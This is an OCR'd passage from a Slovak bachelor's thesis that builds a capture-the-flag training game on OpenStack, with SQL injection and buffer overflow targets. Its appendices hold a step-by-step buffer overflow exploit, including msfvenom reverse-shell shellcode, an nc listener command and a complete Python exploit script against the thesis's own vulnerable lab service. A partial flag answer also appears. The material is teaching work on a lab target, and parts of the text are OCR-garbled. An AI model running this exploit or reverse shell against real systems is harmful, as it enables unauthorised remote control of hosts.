Po pristupeni na IP adresu, ktora patri Raspberry Pi 3, webovy prehliadac¢ stu-
dentovi zobrazi autorizacny formular, do ktorého musi student zadaf spravne pri-
hlasovacie tidaje definované v stbore /etc/nginx/.htpasswd. Prihlasovacie udaje

moze student nadobudntt dspesnym dokoncéenim kybernetickej hry.

Q' 192.168.45.137
@ 192.168.45.137
This site is asking you to sign in.
Psernanwe

Password

Obr. 4.19: Vyzva na autorizaciu serverom Nginx

Obmedzenie aktivnych spojeni

Obmedzenie aktivnych spojeni spociva v definovani samotného upstreamu, do kto-
rého st nasledne presmerované vsetky ziadosti klientov. V upstreame je nutné defi-

novaft, ktorych sietovych rozhrani sa konfiguracia tyka a ktoré konkrétne nastavenia
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sa maju na dané rozhranie aplikovat. Modul ngx_http__upstream__module obsahuje
siroku skalu moznych konfigurécii, avsak pre ucely kybernetickej hry a zameru obme-
dzenia stibeznych spojeni Studentov, bolo postacujice pouzit direktivu max_conns
a priradit jej prislusnd hodnotu.

upstream backend {
server 192.168.45.137 max_conns=1;

server 127.0.0.1:8000 max_conns=1;
server {
location / {

# Redirect to PiCar server

proxy_pass http://backend;

Vypis 4.19: Konfiguracia obmedzenia stcastnych spojeni na webovom servery

Obmedzenie stbeznych spojeni sa studentovi, ktory sa chcel do webového roz-
hrania prihlasit sibezne s inym, uz prihlasenym Studentom, prejavi chybovou od-
povedou serveru Nginz so stavovym kédom 503 a spravou Service Temporarily
Unavailable.

A Notsecure | 192.168.45.137 e . 03

503 Service Temporarily Unavailable

nginx/1.18.0

Obr. 4.20: Odmietnutie spojenia serverom Nginx
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4.6 Integracia hry do kybernetickej arény

Po faze vyvoja virtudlnych strojov a zranitelnych aplikéacii bolo potrebné vytvorit
nova kybernetickii hru v kybernetickej aréne. Kybernetickd aréna poniika jedno-

duché prostredie pre vytvaranie hier a ich konfiguraciu. Kyberneticka hra dostala

anglicky ndzov Mars Rover Death Escape®.

O T FyonE

@ Odhlasit se

Mars Rover Death
Escape

Spustit

Obr. 4.21: Webové rozhranie kybernetickej arény

Kyberneticka hra bola navrhnuté tak, aby bola plne kompatibilna s kybernetic-
kou arénou, ktora vyuziva na generaciu herného prostredia platformu OpenStack.
Pomocou administratorského panelu kybernetickej arény bolo nutné hru vytvorit
a nakonfigurovat. Proces vytvarania kybernetickej hry pozostaval z niekolkych kro-
kov, medzi ktoré patria napr. doba trvania hry, nastavenie poc¢tu hracov, aroven ob-
taznosti, vytvorenie konfiguracného stiboru pre generaciu virtualnych strojov v plat-

forme OpenStack a tvorenie samotného scenara kybernetickej hry.

4.6.1 Vytvaranie a konfiguracia kybernetickej hry

Administratorsky panel kybernetickej arény obsahuje zoznam hier, ktorych konfi-
guraciu je mozné modifikovat a zaroven obsahuje moznost vytvorenia novej hry.
Na obrazku 4.22 je mozné vidiet prostredie pre konfiguraciu novovytvorenej kyber-

netickej hry.

ZSangl. Utek smrti Mars Roverom.
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4 Hlavnistrana = Hry <4 Vytvofithru & Instance &2 UZivatelé :8: Skupiny Qs Nastaveni

Mars Rover Death Escape
Nazev
Mars Rover Death Escape

Doba trvani

1 hod. 45 min.

Bez ¢asového limitu
OpenStack
Pocet hracl Vychozi pocet bodl
1
Vychozi obrazek scénare
Browse... No file selected.
() Zobrazit nahled X

ObtiZnost
gRrEEw
Obrazek (png, jpg, webp, gif)

Browse... No file selected.

Nahled

Mars Rover Death

Spustit

Obr. 4.22: Konfiguracia kybernetickej hry

Pri tvoreni konfiguracného siboru pre generovanie prostredia v platforme Open.S-
tack bolo nutné urcit, ktoré virtualne stroje maju byt pri starte kybernetickej hry
vytvorené. Kazdému virtualnemu stroju bolo nutné nastavit tzv. flavour®, IP ad-
resu, meno a obraz, z ktorého ma byt instancia daného virtudlneho stroja vytvorena.
Konfiguracny sibor je automaticky spracovavany kybernetickou arénou a vytvorenie
prostredia hry je plne automatizované. Vypis 4.20 zobrazuje obsah konfiguracného
stuboru, ktory zabezpecuje vytvaranie dvoch virtualnych strojov, na ktoré bude Stu-
dent v rdamci kybernetickej hry itocit a jedeného virtualneho stroja, z ktorého bude

student jednotlivé ttoky realizovat.

26 flavour definuje vypoctovii, pamétovi a dlozni kapacitu instancie virtudlneho stroja v plat-
forme OpensStack.
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game_name: mars-rover —-death-escape
vms :
- name: kali-linux
image: kali-linux-v21.2_0O5-tutorial
flavor: arena.4-4-80
networks:
- [’net1’, °192.168.56.100"]
os: linux
console: yes
- name: needle
image: SQLInjectionMachine-final
flavor: arena.1-1-5
networks:
- [’net1’, 2192.168.56.101"°]
os: linux
console: mno
- name: buffy
image: BufferOverflowMachine-final
flavor: arena.1-1-5
networks:
- [’net1’, °192.168.56.102"]
os: linux
console: mno
networks:
- name: ’netl’
subnet: 192.168.56.0/24
network_infrastructure:
- connections: [’netl’]
external _gateway: hw-car

static_routes: ’’

Vypis 4.20: Konfigurac¢ny sibor pre generovanie prostredia v platforme OpenStack
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4.6.2 Vytvaranie jednotlivych uloh kybernetickej hry

Kyberneticka hra pozostava s celkovo siedmych tloh, ktoré student musi splnit, aby
hru tdspesne dokoncil. Za kazdu splnent ilohu student moze ziskat urcity pocet bo-
dov, ktorych pocet zavisi od naroc¢nosti danej ilohy a mnozstva pouzitych napovedi.
Cielom tejto kybernetickej hry nie je spravit tlohy ¢o najtazsimi, kedy len ti najlepsi
z najlepsich hru dokoncia, ale prave naopak. Kybernetickd hra studentom, ktory si
s ulohou nevedia dat rady, pontkne napoved, za ktord bude strhnuté urcité per-
cento z celkového podtu moznych ziskanjch bodov. Student tak nestrati motivaciu
pokracovat a ma tak namiesto neispechu prilezitost spoznat nové techniky a po-
stupy exploitacie, ku ktorym by sa bez napovede nedostal. Celkovy pocet bodov,
ktory student moéze pocas hry ziskat je 100, z toho 80 za plnenie jednotlivych tloh
kybernetickej hry a 20 za kontrolny test.

Text ukolu © Napovéda formatovani

Nachadza$ sa v poslednej faze Buffer Overflow exploitaze. Ovladas register EIP, pomocou predhodenej instrukcie JMP ESP menis$ tok
exekticie programu na stack, ¢o véak s tym? "Co sa ma stat, k Gomu mi to vlastne je!? Difam, Ze tu len zabijam ¢as...", pomyslis si. Uz
preslo hodne €asu a zacinas byt netrpezlivy, kolegovi uZ neostava vela casu.

<br>

<br>

Uvedomi$ si, Ze aplikacia, na ktoru vlastne uto&is bezi na vzdialenom stroji, na ktorom chce$ vykonavat prikazy v terminaly. Potrebujes
teda nadviazat TCP spojenie s kontrolnym serverom a ziskat tak reverse shell. To znamena, Ze potrebujes vygenerovat shellcode, ktory ti
tuto funkcionalitu poskytne. Opat pozrie§ do PoC exploitu, kde uvidis prikaz, ktory je nutné pouZit. Yy

Pfiloha

Browse...  No file selected.

Pocet bodl

20

Odpovéd

FLAG{b82f6b4d94189bad42€

Napoveédy

25 %  Na vygenerovanie shellcodu je nutné pouZit n
100 %  FLAG{b82f6b4d94189bad4285b5054bb866: n

Vaha %  Text napovédy

50 % Je potrebné nastavit listener pomocou progri

75 % nc-lvnp <PORT>

Obr. 4.23: Vytvaranie konkrétnej tlohy kybernetickej hry
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4.6.3 Vytvaranie zaverecného testu

Po tspesnom dokonceni vsetkych tloh kybernetickej hry je pre studentov pripra-
veny kratky test, ktory overi ich znalosti problematiky, ktora bola predmetom tloh
kybernetickej hry. Tvorenie testu opét prebiehalo v konfigura¢nom prostredi admi-
nistratorského panelu kybernetickej arény. Test je zamerany na praktické otazky
k niektorym krokom exploitdcie a moze obsahovat 1 az N spravnych odpovedi. Stu-
dent moéze za spravne vyplnenie testu ziskat az 20 bodov, ktoré mu mozu vylepsit
celkové ziskané skore z kybernetickej hry.

Text otazky

Co patri mezdi validné alternativy instrukcie JMP ESP?

AN

Typ odpovédi Poget bodu
Vice mozZnosti 4
Odpovédi

v | LUAESP, 0x1337

v RUNESP

+ | PUSH ESP, RET

+ CALLESP

Edooon

Odpovéd

Obr. 4.24: Tvorenie zaverecného testu v kybernetickej aréne

4.7 Priebeh kybernetickej hry

Kybernetickd hra zacina prolégom, ktory uvedie Studenta do deja, ktory ho bude
spravazdat pocas celej hry. Po precitani prolégu a nacitani virtualneho prostredia
student zacina s plnenim jednotilivych tloh.

4.7.1 Plnenie Gloh

Pre plnenie jednotlivych tloh kybernetickej hry je pre studenta vygenerovana kon-
zola, v ktorej bezi virtualizovany operacny systém Kali Linux. S instanciou Kali
Linux si mo6ze student vymienat poznamky pomocou poznamkového bloku, ktory sa

nachadza vo webovom rozhrani kybernetickej hry pod zadanim danej tlohy.

72



en_US.utf8 ¥ 21May,08:38 O

KALI

BY OFFENSIVE SECURITY

Obr. 4.25: Vygenerovana konzola pre plnenie tloh kybernetickej hry

Mars Rover Death Escape 1:39:12

Nachadzas sa v poslednej faze Buffer Overflow exploitaze. Ovladas register EIP, pomocou predhodenej intrukcie JMP
ESP menis tok exekucie programu na stack, ¢o véak s tym? "Co sa ma stat, k comu mi to vlastne je!? Dufam, Ze tu len
zabijam ¢as...", pomyslis si. UZ preslo hodne ¢asu a zacinas byt netrpezlivy, kolegovi uz neostava vela asu.

Uvedomi$ si, Ze aplikacia, na ktoru viastne ato¢iS bezi na vzdialenom stroji, na ktorom chce$ vykonavat prikazy v
terminaly. Potrebujes teda nadviazat TCP spojenie s kontrolnym serverom a ziskat tak reverse shell. To znamena, ze
potrebujes vygenerovat' shellcode, ktory ti tuto funkcionalitu poskytne. Opét' pozries do PoC exploitu, kde uvidi$ prikaz,

ktory je nutné pouzit.

Cas je neuprosny, no musi$ zachovat chladnu hlavu a postupovat v pokoji. Na zbytoéné chyby nie je vobec ¢as!

Zadejte odpovéd Potvrdit

Za tuto otazku mizZete ziskat celkem 20 b.

9 Pozadat o napovédu (penalizace 25 %)

Aktualizovat poznamky

Kéd pro pripojeni z virtualniho stroje: 707101

Poznamky

Obr. 4.26: Ukazka zadiania tlohy kybernetickej hry
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4.8 Testovanie hry v Kybernetickej aréne

Testovanie kybernetickej hry v prostredi Kybernetickej arény sa uskutocnilo v cel-
kovom poéte §tyroch Iudi. Clenovia testovacieho timu boli na réznych trovniach
znalosti v danej problematike a hru dokoncili v roznych ¢asoch. Okrem rozdielov
v case dokoncenia hry sa hraci lisili aj v pocte napovedi, ktoré pocas hry potre-
bovali. Uroveii znalosti hracov sa pohybovala v rozmedzi profesiondlnych znalosti
a takmer ziadnych znalosti danej problematiky. Dvaja hraci nepotrebovali ani jednu
napoved. Z celkového poctu styroch hracov sa trom podarilo hru dokoncit a jed-
nému studentovi sa podarilo odovzdat 4 zo 7 vlajok, avSak kvoli vyprsaniu casu
kybernetickej hry nemohol dalej pokracovat.

Testovanie je povazované za velmi prinosné, nakolko bolo objavenych niekolko
nezrozumitelnosti v texte scenaru a v jednotlivych napovediach, ktoré bolo vdaka
prihodnym ndmetom ¢lenov testovacieho timu mozné eliminovat. Pocas celého tes-
tovania boli jednotlivé virtualne stroje stabilné a postup ich exploitacie prebiehal

podla nédvrhu uvedeného v kapitole 4 bez technickych problémov.
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Zaver

Cielom bakalarskej prace bolo navrhntt a implementovat kybernetickd hru kompa-
tibilnu s platformou OpenStack a kybernetickou arénou, zamerani na problematiku
penetracného testovania a zneuzivania roznych typov zranitelnosti. Medzi zranitel-
nosti implementované do kybernetickej hry patria SQL injection a Buffer Overflow.

V teoretickej Casti bakalarskej prace bola predstavena metodoldgia penetracného
testovania a podrobne popisané implementované zranitelnosti a technologie pouzité
na realizaciu kybernetickej hry. V praktickej casti bakalarskej prace bol detailne po-
pisany postup vytvarania experimentalneho pracoviska, ndvrh scenara kybernetickej
hry, implementacia zranitelnosti do kybernetickej hry a vyvoj aplikacii, na ktoré sa
v ramci kybernetickej hry utoci. Prakticka ¢ast bakalarskej prace dalej popisuje in-
tegraciu hry do kybernetickej arény a dobrodruzny scenar, ktory Studenta pocas
celého trvania hry sprevadza.

Osobnym cielom pri tvoreni tejto bakalarskej prace bolo studentom blizsie pribli-
zit principy binarnej exploitacie a poukéazat na doélezitost tejto problematiky, nakolko
sa s detailnou analyzou tejto zranitelnosti, Student pocas stidia nema v ramci vyuky
prilezitost stretnit. Kybernetickd hra bola navrhovana tak, aby bola pre studenta
zaujimava a udrzala jeho pozornost ¢o najdlhsie, nakolko je kazdy Student v pozicii
hlavnej postavy pribehu kybernetickej hry. Stucastou kybernetickej hry je aj robo-
tické auto a fyzicka aréna, ktora simuluje povrch Marsu a dotvara celkovi atmosféru
pribehu kybernetickej hry.

Kyberneticka hra je vhodné na pouzitie v ramci vyuky v predmetoch ako napr.
Bezpecnost 1C1, Bezpecnost 1C2 pre bakalarsky stupen studia a pre predmet Bez-
pecnost IC3 pre magistersky stupen stidia. Hru je tiez mozné pouzit na mimoskolské
akcie. Kybernetickt hru otestovali celkovo Styria Studenti, z ktorych trom sa podarilo

kybernetickd hru dokoncit. VSetky stanovené ciele bakalarskej prace boli splnené.
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Zoznam symbolov a skratiek

API
BE
CPU
CTF
EBP
EIP
ELF
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HTTP
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IoT
IPS
LE
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NSE
OSINT
PHP
SSH
SQL

TCP

Application Programming Interface
Big Endian

Central Processing Unit
Capture The Flag

Base Pointer

Instruction Pointer

Executable and Linable Format
Stack Pointer

The GNU Compiler Collection
The GNU Project Debugger
The HyperText Markup Language
Hypertext Transfer Protocol
Intrusion Detection System
Internet Of Things

Intrusion Prevention System
Little Endian

Last In First Out

Nmap Scripting Engine
Open-source Intelligence

PHP: Hypertext Preprocessor
Secure Shell

Structured Query Language

Transmisson Control Protocol
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A Vyvoj exploitu zneuzivajiceho zranitelhost
Buffer Overflow

Vyvoj exploitu vyuzivajiceho zranitelnost Buffer Overflow bol ulahceny dostup-
nostou zdrojového koédu zranitelnej siefovej aplikacie. Na ttrzku zranitelného kédu
na vypise 2.6 je mozné vidiet, Ze premenna username ma na svoj obsah pri spusteni
aplikacie alokovanych 20 bajtov paméte. Pre prvi fazu vyvoja exploitu je tato in-
forméacia velmi podstatnd nakolko prinasa znalost priblizného rozsahu, v ktorom sa
bude hodnota registra EIP nachadzat.

char username [20];

write (conn_sockfd, "Username: ", 10);

read (conn_sockfd, username, sizeof (username) + 500);

Vypis A.1: Nepezpecny zapis dat do bufferu premennej username

A.1 Prebranie kontroly nad registrom EIP

Prva cast vyvoja exploitu zneuzivajuceho zranitelnost Buffer Overflow je zistenie
poctu bajtov, ktoré si nutné k prepisaniu hodnoty ulozenej v registri EIP. Na tento
krok bol pouzity nastroj msf-pattern_create, kde prepinac¢ -1 predstavuje dizku

pozadovaného unikatneho vzoru. Vypis A.2 predstavuje plné znenie prikazu.

msf -pattern_create -1 100

Vypis A.2: Prikaz na vygenerovanie unikatneho retazca znakov

Po vytvoreni unikatneho vzoru je potrebné aktualizovat kostru exploitu vystu-

pom z prikazu vo vypise A.2

# O0ffset to the EIP register

EIP offset = "AaOGAalAa2Aa3AadAa5Aab

Obr. A.1: Premennd EIP_offset po aktualizacii exploitu

Pred spustenim exploitu nesticeho payload v podobe jedine¢ného vzoru pre iden-
tifikovanie presného offsetu k registru EIP je potrebné zachytif zranitelnti aplikaciu
v debuggeri GDB.
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[ Legend:

OXx0
0x41386141 (" "2
OX72

0x62413961 (" "?)

Ox1

0x31624130 (" "2)

[zero CARRY PARITY ADJUST SIGN trap INTERRUPT direct
0x2b T 0x2b : 0x2b o 0)"(0]0] 1 Ox63

Obr. A.2: Hodnota v registri EIP po aktualizacii exploitu v debuggeri GDB

Po spustenim exploitu sa hodnota registra EIP zmenila a adresa, na akt ukazuje
neobsahuje ziadnu validnd instrukciu a spdsobuje pad aplikacie. Vo vypise A.4 je
hodnota registra EIP oznacend cervenym ramikom.

Aktudlnu hodnotu registra EIP debugger GDB vyhodnotil ako retazec zna-
kov ,,0Ab1“, ktoré pripominaji unikatny retazec vygenerovany v predchadzajicom
kroku. Aby bolo mozné zistit presny pocet znakov, ktoré treba vlozit do zranitelného
buffera aby nasledne doslo k prepisaniu hodnoty registra EIP, je potrebné aktualnu
hodnotu registra EIP pouzif v nastroji msf-pattern_offset, ktory vypocita kolko

znakov sa nachadza pred touto hodnotou v ramci vygenerovaného jedinecného vzoru.

~/demo/bof
100 31624130

[*] Exact match at offset 32

Obr. A.3: Vypocet offsetu k registru EIP pomocou nastroja msf-pattern_offset

Dalsfm krokom vyvoja exploitu je otestovat spravnost offsetu pouzitim lahko
identifikovatelného vzoru. Pre tento priklad bola zvolena hodnota ,B“. Znak ,B“ je
potrebné vlozit styri krat, z dovodu 32-bitovej velkosti adries architektury x86. Ak je
offset spravny, tak sa po pade aplikacie v registri EIP zobrazi hodnota ,,0x42424242“,

ktora je hexadecimalnou reprezentaciou styroch po sebe iducich znakov ,,B*.
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# 0ffset to the EIP register
EIP offset = b"A 32

# $(ROPgadget --binary RATservice
EIP = b"BBBB

Obr. A.4: Druhd aktualizdcia exploitu

Po opéatovnom spusteni exploitu a zachyteni zranitelnej aplikacie do debuggera
GDB je mozné spozorovat, ze hodnota registra EIP sa skuto¢ne zmenila na retazec
znakov ,BBBB“ a je mozné konstatovat, ze bola ziskand kontrola nad registrom
EIP.

[ Legend:

Ox0
0x41414141 (" "2)
OX72
Ox41414141 (" "2)
0X90909096

0x41414141 ("AAAA"?)
Ox1

0x42424242 (" "?)
|Zero CARRY PARITY ADJUST SIGN trap INTERRUPT direc
0x2b : Ox2b 1 Ox2b : X006 : OX63

Obr. A.5: Zmena hodnoty registra EIP na ,BBBB“

A.2 Lokalizacia priestoru v pamiti pre shellcode

Dalsim krokom vyvoja exploitu je zistit kde presne sa na zasobniku nachadza pa-
yload, ktory bol vlozeny do zranitelného bufferu. Pre lokalizadciu tohto priestoru je
mozné opaft pouzit Tahko identifikovatelny, tentokrat vsak vacsi vzor, ktory bude
stucastou payloadu opatovne posielaného zranitelnej aplikacii. Exploit je potrebné

modifikovat nasledovnym sposobom.
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# Target server IP address
target IP = sys.argv[1]

# O0ffset to the EIP re
EIP offset = b"A 32

gister

# $(ROPgadget --binary RATservice
EIP = b"BBBB

buf = b"C 100

Obr. A.6: Tretia akutalizacia exploitu

Na obrazku A.9 je mozné pozorovat, ze cely payload sa ukladd na zasobnik
od adresy, na ktori ukazuje register ESP. Fakt, ze register ESP ukazuje na adresu,
na ktorej zacina payload prezradza, ktort instrukciu bude potrebné najst pre zmenu

toku exekicie programového kédu zranitelnej sietovej aplikacie.

i 0x42424242 (" "?)
: [zero CARRY PARITY ADJUST SIGN trap INTERRUPT direction overflow RESUME virtuall
1 0x23 : 0x2b : Ox2b 1 Ox2b 1 Ox00 1 Ox63

| +ox0000:
| +Ox0004 :
| +Ox0008:
| +Oxe0e0C :
| +Ox0010:
| +Ox0014:

| +Ox0018:
| +tOxe01c:

Cannot disassemble from $PC
Cannot access memory at address 0x42424242

[#8] Id 1, Name: "RATservice", in ?? (), reason:

Obr. A.7: Zasobnik naplneny znakmi ,C*

A.3 Identifikacia Specialnych znakov

Zranitelnd sietova aplikacia bola navrhnutd tak, aby neobsahovala ziadne, pre nu
specialne znaky a ulahcila tak cely vyvoj exploitu. Jediny Specialny znak, ktory je
potrebné brat do uvahy je znak ,,0x00°, ktory v jazykoch C a C++ reprezentuje

ukoncenie retazca znakov.
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A.4 Generovanie shellcode

Po fazach prevzatia kontroly nad registrom EIP a lokalizacii priestoru pre shellcode,
je potrebné dany shellcode vygenerovat. Generovanie shellcode zavisi od pozadovanej
funkcionality, operacného systému, architektury cielového systému a ¢i exploitacia
prebieha lokalne alebo vzdialene.

Pre generovanie shellcode typu reverse shell bol pouzity nastroj msfvenom. Vy-
generovany shellcode je nasledne vlozeny do payloadu, ktory exploit posiela siefovej
aplikacii.

~/demo/bof
linux/x86/shell reverse_tcp LHOST=192.168.220.145 LPORT=443 python
[-]1 No platform was selected, choosing Msf::Module::Platform::Linux from the payload
[-]1 No arch selected, selecting arch: x86 from the payload
Found 11 compatible encoders
Attempting to encode payload with 1 iterations of x86/shikata_ga nai
x86/shikata_ga_nai succeeded with size 95 (iteration=0)
x86/shikata_ga _nai chosen with final size 95
Payload size: 95 bytes
Final size of python file: 479 bytes
b nmn
= b"\xba\xdo\x08\x32\xb4\xda\xc2\xdo\x74\x24\x T4\ x5e\x29"
D" \XCINXDINXLIZ2AX3INX56\XL2\XO03\X56\X12\x83\x16\x0c\xdo"
b"\x41\xa7\xd6\xe3\x49\x94\ xab\x58\xe4\x18\xa5\xbe\x48"
= b"\x7a\x78\xcO\x3a\xdb\x32\xTe\xT1\x5b\x7b\x78\xf3\x33"
b"\XbcAXd2\XdT\X52\x54\x21\xe@\x55\x1e\xac\x01\xe5\x06"
D" \XTTAXIONXSB\X7ANXTCAXID\XbI\Xb7\x83\xce\x51\x26\xab"
= b"\x9d\xco\xde\x9c\x4e\x6b\x76\x6a\x73\x39\xdb\xe5\x95"
b"\x0d\xde\x38\xd5"

Obr. A.8: Generovanie shellcode nastrojom msfvenom

EIP_offsef

# $(ROPgadget --binary RATservice --only "jmp")
EIP = b"BBBB

# msfvenom -p linux/x86/shell rever
buf =

buf
buf
buf
buf
buf
buf
buf
buf

SO N W WL
J

Obr. A.9: Stvrta aktualizicia exploitu
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A.5 Vynitenie zmeny toku programového kodu

Poslednou fazou vyvoja exploitu je najdenie vhodnej instrukcie, ktora presmeruje
tok programového koédu na v predoslom kroku vygenerovany shellcode. Pri loka-
lizacii priestoru pre shellcode bolo zistené, Ze shellcode na zasobniku zacina na
adrese, na ktori ukazuje register ESP. Pre tspesnu exploitaciu je potrebné najst
adresu instrukcie JMP ESP, ktora vykonava nepodmieneny skok na adresu, ktord je
obsiahnuta v registri ESP. Nastroj na najdenie adresy tejto instrukcie bol zvoleny

ROPgadget . py'.

~/demo/bofT
RATservice

Gadgets information

0x0804904b : jmp O0x8049030
Ox080492a4 : jmp Ox80491T0
0x0804925b : jmp O0x804925e
Ox08049252 : jmp Ox8049280
@X080493c6 : jmp Ox80493a8
Ox08049581 : jmp Ox8049588
Ox08049753 : jmp Ox80496e0
Ox080497d6 : jmp O0x80497dc
Ox080492b6 : jmp esp

Obr. A.10: Uspesné néjdenie adresy instrukcie JMP ESP

Vystup nastroja ROPgadget . py obsahuje adresu instrukcie JMP ESP zvyraznent
¢ervenym ramikom na obrazku A.10. Pri vkladani tejto adresy do exploitu je nutné
brat do tivahy endianitu architektiry, ktort pouziva cielovy operac¢ny systém. Ar-
chitektira x86 pouziva endianitu Little Endian (LE) a preto je potrebné do exploitu
adresu instrukcie zapisat obratenym spésobom. Vypis B.1 zobrazuje premennia EIP

a adresu instrukcie JMP ESP zapisani vo forméte Little Endian (LE).

EIP = b"\xb6\x92\x04\x08"

Vypis A.3: Premennda EIP s adresou instrukcie JMP ESP

Pre potvrdenie zmeny toku programového kédu je mozné pouzit inStrukciu INT3,
ktora nesie v hexadecimalnej ststave hodnotu ,,CC“. Tato instrukcia v rodine pro-

cesorov Intel reprezentuje breakpoint®

thttps:/ /github.com/JonathanSalwan /ROPgadget
2 breakpoint“ je chcené, vynitené zastavenie exektcie programového kédu za tcéelom debug-

govania.
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EIP = b"\xb6\x92\x04\x08"
nop = b"\x90" * 10
buf = b"\xCC"

Vypis A.4: Premenna ,buf“ so znakom reprezentjicim instrukciu sigtrap

Na obrazku A.11 je mozné vidiet, Ze tok exektcie programového kédu bol tispesne

presmerovany na instrukciu ,\xCC*.

- 0x0000Tdc4
[zero CARRY PARITY ADJUST SIGN trap INTERRUPT direction overflow re
0x23 1 0x2b 1 0x2b 1 0x2b ! OX00 ! OX63

| +oxeee0: Oxeefdcacc
[+ox0004: Ox0EEE0000
|+ox0008: Ox0EEEEEEO
| +ox000c: Ox0EE000E0
[+ox0010: 0x00000001
[+ox0014: Ox0EEEEEEO
[+0x0018: Ox0EEEEEEE

[+oxe01c:

oxffffdia2

oxffffdia3 BYTE PTR [eax],
oxffffdias BYTE PTR [eax],
oxffffdia7 BYTE PTR [eax],
oxffffdia9 BYTE PTR [eax],

[#6] Id 1, Name: "RATservice", in 2?2 (), reason:

Obr. A.11: Prerusenie exektcie programového kodu instrukciou sigtrap

Poslednou féazou vyvoja exploitu je nahradit instrukciu ,\xCC*“ v predoslom
kroku vygenerovanym shellcode. Shellcode je typu reverse shell, preto je potrebné
vytvorit pocuvajiuci TCP socket, na ktory sa shellcode po tspesnej exploitacii pri-
poji. Na obrazku A.12 je mozné vidiet nové spojenie prichadzajiuce na TCP socket
pocuvajici na porte 443. Toto spojenie je typu reverse shell a umoznuje interakciu

s terminalom cielového systému v kontexte uzivatela, ktory danu aplikaciu spustil.
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~/demo/bhofT
exploit.py 127.0.0.1

~/demo/bof

]

File Actions Edit View Help

~/demo/bof

443
listening on [any] 443
connect to [192.168.220.145] from (UNKNOWN) [192.168.220.145] 46984
python3 -c 'import pty; pty.spawn("/bin/bash")'
root@frostvandrer:/home/qurius/demo/bof# id
id
uid=e@(root) gid=0(root) groups=@(root),4(adm),20(dialout),119(wireshark),1
42 (kaboxer)

root@frostvandrer:/home/qurius/demo/bof# I

Obr. A.12: Uspesnd exploitdcia zranitelnej sietovej aplikdcie
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B Finalny exploit

#!/usr/bin/python3

import sys

import socket

if len(sys.argv) == 1:
print (f"Usage: {sys.argv[0]} <Target IP>")
exit ()

# Target server IP address

target_IP = sys.argv[1]

# Offset to the EIP register
EIP_offset = b"A" *x 32

# $(ROPgadget --binary RATservice --only "jmp")
EIP = b"\xb6\x92\x04\x08"
nop = b"\x90" x 10

# msfvenom -p linux/x86/shell_reverse_tcp LHOST=<ATTACKER IP> LPORT
=<ATTACKER PORT> -f python -b ’\x00°’
buf = b""
buf += b"\xba\xd0\x08\x32\xb4\xda\xc2\xd9\x74\x24\xf4\x5e\x29"
buf += b"\xc9\xb1\x12\x31\x56\x12\x03\x56\x12\x83\x16\x0c\xd0"
buf += b"\x41\xa7\xd6\xe3\x49\x94\xab\x58\xe4\x18\xab\xbe\x48"
buf += b"\x7a\x78\xc0\x3a\xdb\x32\xfe\xf1\x5b\x7b\x78\xf3\x33"
buf += b"\xbc\xd2\xdf\x52\x54\x21\xe0\x55\x1e\xac\x01\xe5\x06"
buf += b"\xff\x90\x56\x74\xfc\x9b\xb9\xb7\x83\xce\x51\x26\xab"
buf += b"\x9d\xc9\xde\x9c\x4e\x6b\x76\x6a\x73\x39\xdb\xe5\x95"
buf += b"\x0d\xd0\x38\xd5"

# Final payload
buffer = EIP_offset + EIP + nop + buf

s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
s.connect ((target_IP, 8000))

s.send (buffer)

s.recv (1024)

s.close ()

Vypis B.1: Finadlny exploit zneuzivajici zranitelnost Buffer Overflow
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file:///xba/xd0/x08/x32/xb4/xda/xc2/xd9/x74/x24/xf
file:///x41/xa7/xd6/xe3/x49/x94/xab/x58/xe4/xl8/xa5/xbe/x48
file:///x7a/x78/xc0/x3a/xdb/x32/xf
file:///xbc/xd2/xdf
file:///x52/x54/x21/xe0/x55/xle/xac/x01/xe5/x06
file:///x90/x56/x74/xf
file:///x26/xab
file:///x9d/xc9/xde/x9c/x4e/x6b/x76/x6a/x73/x39/xdb/xe5/x95

C Scenar kybernetickej hry

C.1 Prolég

Pise sa rok 2035. Uz je to nejaky cCas co si tu, no stdle si nevies zvyknit na ten
pocit tepla na jednej strane a chladu na druhej. AvSak krvavé vychody a zapady
slnka a jeho lice odrazajice sa z ¢erveného povrchu si naozaj nieCo neopisatelné.
Na Zemi by si také nasiel len tazko. Domov je daleko, no ciel je jasny, vybudovat
vesmirnu zakladnu pre astronautov, ktory budu viest misie pre dalsiu exploraciu
vesmiru, preto si sa do programu prihlésil, nie? Aj ked nie si zrovna elektrotechnicky
inzinier ani odbornik na astrofyziku, bez odbornika na informacné technoldgie sa
jednoducho nezaobidu. Tolko techniky pohromade ako tu ¢lovek len tak bezne nema
sancu vidiet. Vzdy ta zaujimalo ako veci funguji a za 4 mesiace si ziskal o prvkoch
infrastruktiary dobry prehlad.

Jedného dna ta kolega zavolal so sebou na rutinnu akciu. So znamou osobou je to
predsa len trochu prijemnejsie. Mars rover presiel v poslednych rokoch vela zmenami
a je schopny vozit posadku po Marse niekolko sto kilometrov. Hlavnou tlohou akcie
bolo pozbierat vzorky asteroidov v nedalekom kratery. Pri odoberani vzoriek sa
kolega posmykol a zacal padat do kratera. Krater nastastie nebol prilis hlboky,
avsak pri dopade si kolega poskodil helmu, prisun kyslika a upadol do bezvedomia.
Okolo vas len siroky priestor a nikto, kto by prisiel na pomoc. Jedinou sancou kolegu
zachranit je odniest ho do rovera a odsoférovat ho naspéaf na zédkladnu. Je v tom
ale hacik. Na to, aby niekto mohol rover pouzivat, musi byt autorizovany a zadat
bezpecnostny kdéd. Tu nastava velky problém, kedZe je kolega v bezvedomi.

Nie si zachranar ani elektrotechnik a postupne ti dochadzaji napady co robif.
Ulozis kolegu do stabilizovanej polohy a po chvili poc¢ita¢ kamaratovho skafandra
zahlési, ze skafander bude schopny prisunu kyslika najblizsiu 1 hodinu a 45 mintt.
K roveru pristup nemate a na peso je to nemozné stihnut. V tom si vSak spomenies
na chyby kolegov programatorov a na infrastruktiru zakladne kde posobite. To, ¢o
sa chystas urobit je nelegdlne ale tu predsa ide o zivot!

Vies, ze kazdy rover je mozné ovladat vzdialene z centralneho, kontrolného ser-
vera. Ten je vSak niekde na sieti a netusis kde. Jediné ¢o si pamétas je IP adresa
webového servera, ktory vasa misia pouziva. Webovy server vasej zakladne, ktory
poskytuje informécie zamestnancom vyzeral sice high-tech no myslim, ze by stalo

zato preskiimat ho. Nezabtdaj, Ze nie je ¢as a priestor na chyby. Cas bez!
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Obr. C.1: Topolédgia kybernetickej hry

C.2 \Vilajka 1l

Po inicialnom prieskume objavis webovi aplikaciu, ktora sice vyzera nevinne, avsak
jej dokladny prieskum predsa len stoji za to.

http://192.168.56.101

